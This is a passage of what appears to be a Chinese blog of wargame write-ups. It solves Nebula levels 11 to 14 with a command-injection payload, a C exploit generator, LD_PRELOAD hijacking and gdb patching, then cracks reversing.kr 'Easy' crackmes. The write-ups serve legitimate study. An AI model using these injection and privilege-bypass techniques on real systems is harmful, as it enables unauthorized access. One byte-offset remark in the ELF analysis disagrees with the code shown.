level11@nebula:/tmp$ export PATH=/tmp:$PATH
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\240S': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\340d': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\200b': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
You have successfully executed getflag on a target account

运气不错，没试几次就得到了结果:D

第二种方法就是走if的另外一条路，那需要满足length >= sizeof(buf)，也就是Length>=1024。可以先创建一个1024长度的空内容，之后把需要执行的命令填充进去：

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    int length = 1024;
    char buffer[1024] = {0};
    unsigned int key;
    int i;

    memcpy(buffer, "/bin/getflag", 13);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return 0;
}

根据getrand()中的要求，设置一下环境变量：

export TEMP=/tmp

编译并执行程序：

level11@nebula:~$ gcc -o exp11 exp11.c
level11@nebula:~$ ./exp11 | ~flag11/flag11_old
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

这样两种方法就实现了。

最后说一说为什么新的文件不能成功运行程序。反汇编一下flag11：

   0x080489c7 <+0>:     push   %ebp
   0x080489c8 <+1>:     mov    %esp,%ebp
   0x080489ca <+3>:     sub    $0x28,%esp
   0x080489cd <+6>:     mov    0xc(%ebp),%eax
   0x080489d0 <+9>:     and    $0xff,%eax
   0x080489d5 <+14>:    mov    %eax,-0x10(%ebp)
   0x080489d8 <+17>:    movl   $0x0,-0xc(%ebp)
   0x080489df <+24>:    jmp    0x8048a0c <process+69>
   0x080489e1 <+26>:    mov    -0xc(%ebp),%eax
   0x080489e4 <+29>:    add    0x8(%ebp),%eax
   0x080489e7 <+32>:    mov    -0xc(%ebp),%edx
   0x080489ea <+35>:    add    0x8(%ebp),%edx
   0x080489ed <+38>:    movzbl (%edx),%edx
   0x080489f0 <+41>:    mov    %edx,%ecx
   0x080489f2 <+43>:    mov    -0x10(%ebp),%edx
   0x080489f5 <+46>:    xor    %ecx,%edx
   0x080489f7 <+48>:    mov    %dl,(%eax)
   0x080489f9 <+50>:    mov    -0xc(%ebp),%eax
   0x080489fc <+53>:    add    0x8(%ebp),%eax
   0x080489ff <+56>:    movzbl (%eax),%eax
   0x08048a02 <+59>:    movsbl %al,%eax
   0x08048a05 <+62>:    sub    %eax,-0x10(%ebp)
   0x08048a08 <+65>:    addl   $0x1,-0xc(%ebp)
   0x08048a0c <+69>:    mov    -0xc(%ebp),%eax
   0x08048a0f <+72>:    cmp    0xc(%ebp),%eax
   0x08048a12 <+75>:    jl     0x80489e1 <process+26>
   0x08048a14 <+77>:    call   0x8048700 <getgid@plt>
   0x08048a19 <+82>:    mov    %eax,(%esp)
   0x08048a1c <+85>:    call   0x8048690 <setgid@plt>
   0x08048a21 <+90>:    call   0x8048630 <getuid@plt>
   0x08048a26 <+95>:    mov    %eax,(%esp)
   0x08048a29 <+98>:    call   0x8048730 <setuid@plt>
   0x08048a2e <+103>:   mov    0x8(%ebp),%eax
   0x08048a31 <+106>:   mov    %eax,(%esp)
   0x08048a34 <+109>:   call   0x80486a0 <system@plt>
   0x08048a39 <+114>:   leave  
   0x08048a3a <+115>:   ret

上面是flag11中process()完整的反汇编代码。可以看到0x08048a14开始有setgid()和setuid()的操作。这段反汇编如果翻译到C语言是这样的：

void process(char *buffer, int length)
{
  ...

  setgid(getgid());
  setuid(getuid());

  system(buffer);
}

加入这两句之后，程序在执行system()之前会强制还原uid和gid，因此程序本身的setuid权限失效，程序执行者永远是level11，而不是flag11，所以就不可能成功了。我这里也试验了用LD_PRELOAD的办法Hack掉getuid()和getpid()，但是很可惜方法无效，因为没有权限。

Nebula level12

There is a backdoor process listening on port 50001.

50001端口有个后门进程。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password) 
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
    print("trying " .. line) -- log from where ;\
    local h = hash(line)

    if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
      client:send("Better luck next time\n");
    else
      client:send("Congrats, your token is 413**CARRIER LOST**\n")
    end

  end

  client:close()
end

一段Lua脚本，逻辑简单清晰。脚本语言的好处就是你不懂语法，也能猜出个大概。

这段脚本监听50001端口，并需要连接后提交密码。显然我们最关心的是能不能运行shell脚本，因此定位到hash()中的popen()。

直接截断看看可不可以：

level12@nebula:~$ nc 127.0.0.1 50001
Password: ;/bin/getflag > /tmp/flag12.txt
Better luck next time
level12@nebula:~$ cat /tmp/flag12.txt 
You have successfully executed getflag on a target account

得来全不费工夫！

Nebula level13

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

这是一个具有安全验证的程序，可以阻止非指定用户的执行。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
    printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
    printf("The system administrators will be notified of this violation\n");
    exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);

}

程序在运行时会检测用户的UID是否为1000（通过cat /etc/passwd | grep 1000发现uid=1000的用户为nebula）。

这里可以想办法通过干预getuid()的返回值来得到目的，因此可以采用GDB对返回值作出修改：

gdb ./flag13
...
(gdb) disas main

反汇编main函数后发现：

Dump of assembler code for function main:
...
   0x080484ef <+43>:    call   0x80483c0 <getuid@plt>
   0x080484f4 <+48>:    cmp    $0x3e8,%eax
...
---Type <return> to continue, or q <return> to quit---q

可以看到，此处调用getuid()之后会把返回值放到eax中，因此只要在0x080484f4处下断，让程序跑起来后修改eax为1000即可：

(gdb) b *0x080484f4
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/flag13/flag13 

Breakpoint 1, 0x080484f4 in main ()
(gdb) p $eax
$1 = 1014
(gdb) set $eax=1000
(gdb) p $eax
$2 = 1000
(gdb) c
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 15690) exited with code 063]

得到密码b705702b-76a8-42b0-8844-3adabbe5ac58。

当然此题还有一种解法，就是劫持getuid()函数。

首先通过file发现flag13调用了共享库，接着创建一个C文件：

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void) {
    return 1000;
}

之后编译并通过LD_PRELOAD环境变量替换掉真实的getuid()函数：

gcc -fPIC -shared -o preload.so preload.c
export LD_PRELOAD=/home/level13/preload.so

之后通过strace来调用，即可观察到结果：

level13@nebula:~$ strace /home/flag13/flag13
...
write(1, "your token is b705702b-76a8-42b0"..., 51your token is b705702b-76a8-42b0-8844-3adabbe5ac58
) = 51
...

Nebula level14

This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

程序加密了输入并写入标准输出，加密的token文件和程序都在flag14的家目录中。

这题非常简单，破解加密算法，本来以为需要逆向，由于规律实在太简单，实验了几次就出来了：

level14@nebula:/home/flag14$ ./flag14
./flag14
    -e  Encrypt input
level14@nebula:/home/flag14$ ./flag14 -e
123456
13579;
level14@nebula:/home/flag14$ ./flag14 -e
654321
666666
level14@nebula:/home/flag14$ ./flag14 -e
11111111111111111111111111
123456789:;<=>?@ABCDEFGHIJ$^C

可以看到，如果把输入数据看成一个数组，加密数据相当于输入数据加上数据的下标（从0开始），于是写出算法：

plain = '123456'
encrypt = ''

for i in range(len(plain)):
    encrypt += chr(ord(plain[i:i+1]) + i)

print encrypt

因此可以写出逆运算并把token文件给解密：

token = open('/home/flag14/token')
encrypt = token.read()[:-1]
plain = ''

for i in range(len(encrypt)):
   plain += chr(ord(encrypt[i:i+1]) - i)

print plain

最后得到token：8457c118-887c-4e40-a5a6-33a25353165。

reversing.kr四道Easy题解题攻略

2014-09-10T23:51:00-07:00

开篇废话

Nebula的level11做的有点头大，这时大神Jack又发来了逆向的题目，让我赶紧练练。虽然我负责比赛中逆向类的题目，但逆向题一般都比较难，先放出来的题基本都是其他类别，所以我就彻底成了打（跑）辅（龙）助（套）的角色~~~

这次这套题目来自reversing.kr，棒子的逆向挑战网站。话说棒子的Hacking能力还是挺强的，据说是个什么棒子的优选计划搞出来的成果。

本篇就记录一下4道名称是Easy开头题目，分别是Easy Crack、Easy Keygen、Easy Unpack和Easy ELF。这四题难度非常低，熟练地话掌握好节奏感可以蹭蹭蹭的秒题……

Easy Crack

程序启动后输入任意字符会显示一个MessageBox的Incorrect Password。打开OllyDbg，载入程序后查找到目标字符串Incorrect Password，之后转到程序，字符串前后代码如下：

00401080  /$  83EC 64       sub esp,64
00401083  |.  57            push edi
00401084  |.  B9 18000000   mov ecx,18
00401089  |.  33C0          xor eax,eax
0040108B  |.  8D7C24 05     lea edi,dword ptr ss:[esp+5]
0040108F  |.  C64424 04 00  mov byte ptr ss:[esp+4],0
00401094  |.  6A 64         push 64                                  ; /Count = 64 (100.)
00401096  |.  F3:AB         rep stos dword ptr es:[edi]              ; |
00401098  |.  66:AB         stos word ptr es:[edi]                   ; |
0040109A  |.  AA            stos byte ptr es:[edi]                   ; |
0040109B  |.  8B7C24 70     mov edi,dword ptr ss:[esp+70]            ; |
0040109F  |.  8D4424 08     lea eax,dword ptr ss:[esp+8]             ; |
004010A3  |.  50            push eax                                 ; |Buffer
004010A4  |.  68 E8030000   push 3E8                                 ; |ControlID = 3E8 (1000.)
004010A9  |.  57            push edi                                 ; |hWnd
004010AA  |.  FF15 9C504000 call dword ptr ds:[<&USER32.GetDlgItemTe>; \GetDlgItemTextA

...

00401114  |.  6A 40         push 40                                  ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
00401116  |.  68 58604000   push Easy_Cra.00406058                   ; |EasyCrackMe
0040111B  |.  68 44604000   push Easy_Cra.00406044                   ; |Congratulation !!
00401120  |.  57            push edi                                 ; |hOwner
00401121  |.  FF15 A0504000 call dword ptr ds:[<&USER32.MessageBoxA>>; \MessageBoxA
00401127  |.  6A 00         push 0                                   ; /Result = 0
00401129  |.  57            push edi                                 ; |hWnd
0040112A  |.  FF15 A4504000 call dword ptr ds:[<&USER32.EndDialog>]  ; \EndDialog
00401130  |.  5F            pop edi
00401131  |.  83C4 64       add esp,64
00401134  |.  C3            retn
00401135  |>  6A 10         push 10                                  ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
00401137  |.  68 58604000   push Easy_Cra.00406058                   ; |EasyCrackMe
0040113C  |.  68 30604000   push Easy_Cra.00406030                   ; |Incorrect Password
00401141  |.  57            push edi                                 ; |hOwner
00401142  |.  FF15 A0504000 call dword ptr ds:[<&USER32.MessageBoxA>>; \MessageBoxA
00401148  |.  5F            pop edi
00401149  |.  83C4 64       add esp,64
0040114C  \.  C3            retn

程序通过GetDlgItemTextA获取输入字符串，之后经过一段算法判定对错。下面分析算法：

004010B0  |.  807C24 05 61  cmp byte ptr ss:[esp+5],61
004010B5  |.  75 7E         jnz short Easy_Cra.00401135

首先确定esp+5位置字符为0x61，即a。

004010B7  |.  6A 02         push 2
004010B9  |.  8D4C24 0A     lea ecx,dword ptr ss:[esp+A]
004010BD  |.  68 78604000   push Easy_Cra.00406078                   ;  5y
004010C2  |.  51            push ecx
004010C3  |.  E8 88000000   call Easy_Cra.00401150                   ;  strcmp
004010C8  |.  83C4 0C       add esp,0C
004010CB  |.  85C0          test eax,eax
004010CD  |.  75 66         jnz short Easy_Cra.00401135

之后判断esp+A处字符串是否为5y。这里由于push 2指令，栈针会上移4byte，因此此时esp=esp-4，所以现在的esp+A相当于上一次的esp-4+A（esp+6），这样就和上一次esp+5成为连续的字符串，也就是3个连续的字符为a5y。

004010CF  |.  53            push ebx
004010D0  |.  56            push esi
004010D1  |.  BE 6C604000   mov esi,Easy_Cra.0040606C                ;  R3versing
004010D6  |.  8D4424 10     lea eax,dword ptr ss:[esp+10]
004010DA  |>  8A10          /mov dl,byte ptr ds:[eax]
004010DC  |.  8A1E          |mov bl,byte ptr ds:[esi]
004010DE  |.  8ACA          |mov cl,dl
004010E0  |.  3AD3          |cmp dl,bl
004010E2  |.  75 1E         |jnz short Easy_Cra.00401102
004010E4  |.  84C9          |test cl,cl
004010E6  |.  74 16         |je short Easy_Cra.004010FE
004010E8  |.  8A50 01       |mov dl,byte ptr ds:[eax+1]
004010EB  |.  8A5E 01       |mov bl,byte ptr ds:[esi+1]
004010EE  |.  8ACA          |mov cl,dl
004010F0  |.  3AD3          |cmp dl,bl
004010F2  |.  75 0E         |jnz short Easy_Cra.00401102
004010F4  |.  83C0 02       |add eax,2
004010F7  |.  83C6 02       |add esi,2
004010FA  |.  84C9          |test cl,cl
004010FC  |.^ 75 DC         \jnz short Easy_Cra.004010DA
004010FE  |>  33C0          xor eax,eax
00401100  |.  EB 05         jmp short Easy_Cra.00401107
00401102  |>  1BC0          sbb eax,eax
00401104  |.  83D8 FF       sbb eax,-1
00401107  |>  5E            pop esi
00401108  |.  5B            pop ebx
00401109  |.  85C0          test eax,eax
0040110B  |.  75 28         jnz short Easy_Cra.00401135
0040110D  |.  807C24 04 45  cmp byte ptr ss:[esp+4],45
00401112  |.  75 21         jnz short Easy_Cra.00401135

之后匹配字符串R3versing，并在字符串头部（esp+4处）添加字符为E。因此答案为Ea5yR3versing。

这里算法由于涉及到esp的改变，因此OD跟踪起来比IDA静态分析更加简单。可以直接将程序跑起来，当程序碰到相关判断的地方（一般是cmp）会改变标志位（一般是ZF），只需要改变标志位寄存器的值让它按照你要的逻辑执行下去即可，当然你需要同时记录这些让逻辑保持正确的字符，你可以直接在栈（或数据区）中作出修改。之后当程序跑完之后，你的栈（或数据区）中就是一个正确的值。本程序栈的结构如下：

Easy Keygen

注册机题，readme要求Find the Name when the Serial is 5B134977135E7D13。程序跑起来，要求输入名字和序列号，测试了一下Name为abcde和随机的序列号，提示错误：

C:\Users\GreatYYX>"F:\Crack\reversingkr\Easy_KeygenMe\Easy Keygen.exe"

Input Name: abcde
Input Serial: 12345
Wrong

开OD跟着跑一下，下断点在InputName和InputSerial处，可以看到判定对错函数如下：

00401000  /$  81EC 30010000 sub esp,130
00401006  |.  55            push ebp
00401007  |.  56            push esi
00401008  |.  57            push edi
00401009  |.  B9 18000000   mov ecx,18
0040100E  |.  33C0          xor eax,eax
00401010  |.  8D7C24 11     lea edi,dword ptr ss:[esp+11]
00401014  |.  C64424 10 00  mov byte ptr ss:[esp+10],0
00401019  |.  C64424 74 00  mov byte ptr ss:[esp+74],0
0040101E  |.  F3:AB         rep stos dword ptr es:[edi]
00401020  |.  66:AB         stos word ptr es:[edi]
00401022  |.  AA            stos byte ptr es:[edi]
00401023  |.  B9 31000000   mov ecx,31
00401028  |.  33C0          xor eax,eax
0040102A  |.  8D7C24 75     lea edi,dword ptr ss:[esp+75]
0040102E  |.  68 60804000   push Easy_Key.00408060                   ;  Input Name:
00401033  |.  F3:AB         rep stos dword ptr es:[edi]
00401035  |.  66:AB         stos word ptr es:[edi]
00401037  |.  AA            stos byte ptr es:[edi]
00401038  |.  C64424 10 10  mov byte ptr ss:[esp+10],10              ;  array, 3 bytes
0040103D  |.  C64424 11 20  mov byte ptr ss:[esp+11],20
00401042  |.  C64424 12 30  mov byte ptr ss:[esp+12],30
00401047  |.  E8 6D010000   call Easy_Key.004011B9
0040104C  |.  83C4 04       add esp,4
0040104F  |.  8D4424 10     lea eax,dword ptr ss:[esp+10]
00401053  |.  50            push eax
00401054  |.  68 5C804000   push Easy_Key.0040805C                   ;  %s
00401059  |.  E8 44010000   call Easy_Key.004011A2                   ;  input function
0040105E  |.  8D7C24 18     lea edi,dword ptr ss:[esp+18]
00401062  |.  83C9 FF       or ecx,FFFFFFFF
00401065  |.  33C0          xor eax,eax
00401067  |.  83C4 08       add esp,8
0040106A  |.  33ED          xor ebp,ebp
0040106C  |.  33F6          xor esi,esi
0040106E  |.  F2:AE         repne scas byte ptr es:[edi]
00401070  |.  F7D1          not ecx
00401072  |.  49            dec ecx
00401073  |.  85C9          test ecx,ecx
00401075  |.  7E 3F         jle short Easy_Key.004010B6
00401077  |>  83FE 03       /cmp esi,3
0040107A  |.  7C 02         |jl short Easy_Key.0040107E
0040107C  |.  33F6          |xor esi,esi
0040107E  |>  0FBE4C34 0C   |movsx ecx,byte ptr ss:[esp+esi+C]
00401083  |.  0FBE542C 10   |movsx edx,byte ptr ss:[esp+ebp+10]
00401088  |.  33CA          |xor ecx,edx
0040108A  |.  8D4424 74     |lea eax,dword ptr ss:[esp+74]
0040108E  |.  51            |push ecx
0040108F  |.  50            |push eax
00401090  |.  8D4C24 7C     |lea ecx,dword ptr ss:[esp+7C]
00401094  |.  68 54804000   |push Easy_Key.00408054                  ;  %s%02X
00401099  |.  51            |push ecx
0040109A  |.  E8 B1000000   |call Easy_Key.00401150
0040109F  |.  83C4 10       |add esp,10
004010A2  |.  45            |inc ebp
004010A3  |.  8D7C24 10     |lea edi,dword ptr ss:[esp+10]
004010A7  |.  83C9 FF       |or ecx,FFFFFFFF
004010AA  |.  33C0          |xor eax,eax
004010AC  |.  46            |inc esi
004010AD  |.  F2:AE         |repne scas byte ptr es:[edi]
004010AF  |.  F7D1          |not ecx
004010B1  |.  49            |dec ecx
004010B2  |.  3BE9          |cmp ebp,ecx
004010B4  |.^ 7C C1         \jl short Easy_Key.00401077
004010B6  |>  B9 19000000   mov ecx,19
004010BB  |.  33C0          xor eax,eax
004010BD  |.  8D7C24 10     lea edi,dword ptr ss:[esp+10]
004010C1  |.  68 44804000   push Easy_Key.00408044                   ;  Input Serial:
004010C6  |.  F3:AB         rep stos dword ptr es:[edi]

...

0040111A  |.  68 38804000   push Easy_Key.00408038                   ;  Correct!\n
0040111F  |.  E8 95000000   call Easy_Key.004011B9
00401124  |.  83C4 04       add esp,4
00401127  |.  33C0          xor eax,eax
00401129  |.  81C4 30010000 add esp,130
0040112F  |.  C3            retn
00401130  |>  68 30804000   push Easy_Key.00408030                   ;  Wrong\n
00401135  |.  E8 7F000000   call Easy_Key.004011B9
0040113A  |.  83C4 04       add esp,4
0040113D  |.  33C0          xor eax,eax
0040113F  |.  81C4 30010000 add esp,130
00401145  \.  C3            retn

在00401059即InputFunction处输入测试用的Name：abcde，并回车。之后程序跑到004010C1即InputSerial处，查看栈数据：

0018FDEC   00000005
0018FDF0   0018FF88
0018FDF4   004011B5  Easy_Key.004011B5
0018FDF8   00000004
0018FDFC   0040109F  Easy_Key.0040109F
0018FE00   0018FE84  ASCII "7142537445"
0018FE04   00408054  ASCII "%s%02X"
0018FE08   0018FE84  ASCII "7142537445"
0018FE0C   00000045
0018FE10   00000000

可以看到当Name为abcde的时候，栈在InputSerial前有数据ASCII "7142537445"出现。通过InputSerial之后程序逻辑可以看出，这段字符串就是根据abcde算出的序列号，并用这个序列号和输入的序列号做对比。因此序列号算法在输入名字后、输入序列号之前(0040105E-004010B4)。

这段程序还原成C++代码后基本如下：

#include <iostream>
#include <string>
using namespace std;

void main(void)
{
    char num[3] = {0x10, 0x20, 0x30};
    char* name = "abcde";
    int len = strlen(name) * 2 + 1;
    char* serial = new char[len];
    memset(serial, 0, len);

    for(int i = 0, j = 0; j < strlen(name); i++, j++)
    {
        if(i >= 3)
            i = 0;
        sprintf(serial, "%s%02x", serial, *(name + j) ^ num[i]);
    }

    cout<<serial<<endl;
}

因此可以写出反函数：

#include <iostream>
#include <string>
using namespace std;

void main(void)
{
    char num[3] = {0x10, 0x20, 0x30};
    char* serial = "7142537445";
    int len = strlen(serial) / 2 + 1;
    char* name = new char[len];
    memset(name, 0, len);

    for(int i = 0, j = 0; j < strlen(serial); i++, j = j + 2)
    {
        if(i >= 3)
            i = 0;

        char serial_str[3];
        serial_str[0] = *(serial + j);
        serial_str[1] = *(serial + j + 1);
        serial_str[2] = '\0';

        sprintf(name, "%s%c", name, strtol(serial_str, NULL, 16) ^ num[i]);
    }

    cout<<name<<endl;
}

把serial用5B134977135E7D13带入跑出来Name为K3yg3nm3。

Easy Unpack

readme说需要找OEP，也就是不用脱壳，只需要找入口点。PEiD看一下，壳类型为ARVID's TDR file [Overlay] *。才疏学浅，没看到过……不过既然是Easy Unpack，料着也不会难倒哪里去。

打开OD，载入程序，忽略各种错误。程序开始载入kernel32之后用了LoadLibrary、GetModuleHandle和FreeLibrary，典型的包装了IAT的壳。

0040A04B >  68 00A04000     push Easy_Unp.0040A000                   ; ASCII "kernel32.dll"
0040A050    FF15 0DA04000   call dword ptr ds:[<&kernel32.LoadLibrar>; kernel32.LoadLibraryA
0040A056    A3 44A64000     mov dword ptr ds:[40A644],eax
0040A05B    68 18A64000     push Easy_Unp.0040A618                   ; ASCII "GetModuleHandleA"
0040A060    50              push eax
0040A061    FF15 11A04000   call dword ptr ds:[<&kernel32.GetProcAdd>; apphelp.7054FFF6
0040A067    A3 48A64000     mov dword ptr ds:[40A648],eax
0040A06C    68 29A64000     push Easy_Unp.0040A629                   ; ASCII "FreeLibrary"
0040A071    FF35 44A64000   push dword ptr ds:[40A644]
0040A077    FF15 11A04000   call dword ptr ds:[<&kernel32.GetProcAdd>; apphelp.7054FFF6
0040A07D    A3 4CA64000     mov dword ptr ds:[40A64C],eax

之后是很长一段外壳操作，直到一个长jmp：

0040A082    6A 00           push 0
0040A084    FF15 48A64000   call dword ptr ds:[40A648]
0040A08A    A3 50A64000     mov dword ptr ds:[40A650],eax
0040A08F    B9 00904000     mov ecx,Easy_Unp.00409000
0040A094    BA EE944000     mov edx,Easy_Unp.004094EE
0040A099    3BCA            cmp ecx,edx
0040A09B    74 26           je short Easy_Unp.0040A0C3
0040A09D    8031 10         xor byte ptr ds:[ecx],10
0040A0A0    41              inc ecx
0040A0A1    3BCA            cmp ecx,edx
0040A0A3    74 1E           je short Easy_Unp.0040A0C3

...

0040A1ED    8031 40         xor byte ptr ds:[ecx],40
0040A1F0    41              inc ecx
0040A1F1    3BCA            cmp ecx,edx
0040A1F3    74 06           je short Easy_Unp.0040A1FB
0040A1F5    8031 50         xor byte ptr ds:[ecx],50
0040A1F8    41              inc ecx
0040A1F9  ^ EB D6           jmp short Easy_Unp.0040A1D1
0040A1FB  - E9 506FFFFF     jmp Easy_Unp.00401150

程序单步到0040A1FB之后，长跳到00401150，发现二进制数据是55，条件反射push ebp，函数入口，于是Ctrl+A强制汇编数据，熟悉的入口结构来了~~

00401150  /.  55            push ebp
00401151  |.  8BEC          mov ebp,esp
00401153  |.  6A FF         push -1
00401155  |.  68 D0504000   push Easy_Unp.004050D0
0040115A  |.  68 1C1E4000   push Easy_Unp.00401E1C                   ;  Entry address; SE 处理程序安装
0040115F  |.  64:A1 0000000>mov eax,dword ptr fs:[0]
00401165  |.  50            push eax
00401166  |.  64:8925 00000>mov dword ptr fs:[0],esp
0040116D  |.  83EC 58       sub esp,58

...

004011BC  |>  8975 FC       mov [local.1],esi
004011BF  |.  E8 E1070000   call Easy_Unp.004019A5
004011C4  |.  FF15 38504000 call dword ptr ds:[405038]               ; [GetCommandLineA

...

004011EE  |.  50            push eax                                 ; /pStartupinfo
004011EF  |.  FF15 34504000 call dword ptr ds:[405034]               ; \GetStartupInfoA
004011F5  |.  E8 1B030000   call Easy_Unp.00401515

...

0040120C  |>  50            push eax
0040120D  |.  FF75 9C       push [local.25]
00401210  |.  56            push esi
00401211  |.  56            push esi                                 ; /pModule
00401212  |.  FF15 30504000 call dword ptr ds:[405030]               ; \GetModuleHandleA

因此OEP为00401150。确实非常简单~~

Easy ELF

三道Windows之后来了一道Linux，不过无所谓啦。拖到Linux里面，看一下文件类型。

root@YYX-Kali:~/upload# file Easy_ELF 
Easy_ELF: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0x409edb8e3182380a2f58d49c7323dd895c74e1b7, stripped

基本信息就是ELF32位可执行文件，链接动态库，去符号表。

运行一下程序，随便输入一点，提示Wrong后直接退出。反复试了一些数字、字母之类的组合，都是一个结果。

打开IDA（Windows下），拖入，开始逆向分析。直接Shift+F12打开字符串窗口找到找到Wrong，之后利用交叉引用跳回到调用函数，稍微向上翻一点就能看到关键函数了：

.text:080484F7 ; =============== S U B R O U T I N E =======================================
.text:080484F7
.text:080484F7 ; Attributes: bp-based frame
.text:080484F7
.text:080484F7 sub_80484F7     proc near               ; CODE XREF: sub_804851B+34p
.text:080484F7                 push    ebp
.text:080484F8                 mov     ebp, esp
.text:080484FA                 sub     esp, 18h
.text:080484FD                 mov     dword ptr [esp+8], 9 ; n
.text:08048505                 mov     dword ptr [esp+4], offset aCorrect ; "Correct!\n"
.text:0804850D                 mov     dword ptr [esp], 1 ; fd
.text:08048514                 call    _write
.text:08048519                 leave
.text:0804851A                 retn
.text:0804851A sub_80484F7     endp
.text:0804851A
.text:0804851B
.text:0804851B ; =============== S U B R O U T I N E =======================================
.text:0804851B
.text:0804851B ; Attributes: bp-based frame
.text:0804851B
.text:0804851B sub_804851B     proc near               ; DATA XREF: start+17o
.text:0804851B                 push    ebp
.text:0804851C                 mov     ebp, esp
.text:0804851E                 and     esp, 0FFFFFFF0h
.text:08048521                 sub     esp, 10h
.text:08048524                 mov     dword ptr [esp+8], 17h ; n
.text:0804852C                 mov     dword ptr [esp+4], offset aReversing_krEa ; "Reversing.Kr Easy ELF\n\n"
.text:08048534                 mov     dword ptr [esp], 1 ; fd
.text:0804853B                 call    _write
.text:08048540                 call    sub_8048434              ; scanf
.text:08048545                 call    sub_8048451              ; main algorithm
.text:0804854A                 cmp     eax, 1
.text:0804854D                 jnz     short loc_804855B
.text:0804854F                 call    sub_80484F7              ; correct
.text:08048554                 mov     eax, 0
.text:08048559                 jmp     short locret_804857C
.text:0804855B ; ---------------------------------------------------------------------------
.text:0804855B
.text:0804855B loc_804855B:                            ; CODE XREF: sub_804851B+32j
.text:0804855B                 mov     dword ptr [esp+8], 6 ; n
.text:08048563                 mov     dword ptr [esp+4], offset aWrong ; "Wrong\n"
.text:0804856B                 mov     dword ptr [esp], 1 ; fd
.text:08048572                 call    _write
.text:08048577                 mov     eax, 0
.text:0804857C
.text:0804857C locret_804857C:                         ; CODE XREF: sub_804851B+3Ej
.text:0804857C                 leave
.text:0804857D                 retn
.text:0804857D sub_804851B     endp
.text:0804857D
.text:0804857D ; ---------------------------------------------------------------------------

sub_804851B函数是提示正确与错误的分支函数，其中四个call，write识别出来了，其他函数跟进去看一下（我已经注释），发现是scanf、主算法函数和返回Correct字符串的函数，其中当主算法函数返回1时判为正确。

然后就重点来看sub_8048451。转到图形视图，一组连续判断，只要逻辑沿着右边下来即可走通（最后eax为1，符合上面的判对条件）。

之后大致扫描了一下程序体，发现反复调用ds段寄存器指向的段内的一些byte，点进去看一下数据区布局（在.bss段，全局变量）。

.bss:0804A020 byte_804A020    db ?                    ; DATA XREF: sub_8048434+Bo
.bss:0804A020                                         ; sub_8048451:loc_8048469r ...
.bss:0804A021 byte_804A021    db ?                    ; DATA XREF: sub_8048451+3r
.bss:0804A022 byte_804A022    db ?                    ; DATA XREF: sub_8048451+27r
.bss:0804A022                                         ; sub_8048451+31w ...
.bss:0804A023 byte_804A023    db ?                    ; DATA XREF: sub_8048451+36r
.bss:0804A023                                         ; sub_8048451+40w ...
.bss:0804A024 byte_804A024    db ?                    ; DATA XREF: sub_8048451+45r
.bss:0804A025 byte_804A025    db ?                    ; DATA XREF: sub_8048451:loc_80484A8r

这段都是被引用数据，且是连续的，各1byte，你可以把它们格式化成数组，我比较懒，就不做这步了。基本可以确认数据区为连续的6个byte，即[20][21][22][23][24][25]。

下面进行主算法具体逻辑分析：

.text:08048451 sub_8048451     proc near               ; CODE XREF: sub_804851B+2Ap
.text:08048451                 push    ebp
.text:08048452                 mov     ebp, esp
.text:08048454                 movzx   eax, ds:byte_804A021
.text:0804845B                 cmp     al, 31h
.text:0804845D                 jz      short loc_8048469
.text:0804845F                 mov     eax, 0
.text:08048464                 jmp     loc_80484F5

第一段确定[21]等于0x31，就是'1'。

.text:08048469 loc_8048469:                            ; CODE XREF: sub_8048451+Cj
.text:08048469                 movzx   eax, ds:byte_804A020
.text:08048470                 xor     eax, 34h
.text:08048473                 mov     ds:byte_804A020, al
.text:08048478                 movzx   eax, ds:byte_804A022
.text:0804847F                 xor     eax, 32h
.text:08048482                 mov     ds:byte_804A022, al
.text:08048487                 movzx   eax, ds:byte_804A023
.text:0804848E                 xor     eax, 0FFFFFF88h
.text:08048491                 mov     ds:byte_804A023, al
.text:08048496                 movzx   eax, ds:byte_804A024
.text:0804849D                 cmp     al, 58h
.text:0804849F                 jz      short loc_80484A8
.text:080484A1                 mov     eax, 0
.text:080484A6                 jmp     short loc_80484F5

第二段做了连续异或，[20] xor 0x34, [22] xor 0x32, [23] xor 0x88, 之后判断[23]是不是为0x58，所以[23]为'X'。

.text:080484A8 loc_80484A8:                            ; CODE XREF: sub_8048451+4Ej
.text:080484A8                 movzx   eax, ds:byte_804A025
.text:080484AF                 test    al, al
.text:080484B1                 jz      short loc_80484BA
.text:080484B3                 mov     eax, 0
.text:080484B8                 jmp     short loc_80484F5

第三段要求[25]为0，就是'\0'，字符串结尾。

.text:080484BA
.text:080484BA loc_80484BA:                            ; CODE XREF: sub_8048451+60j
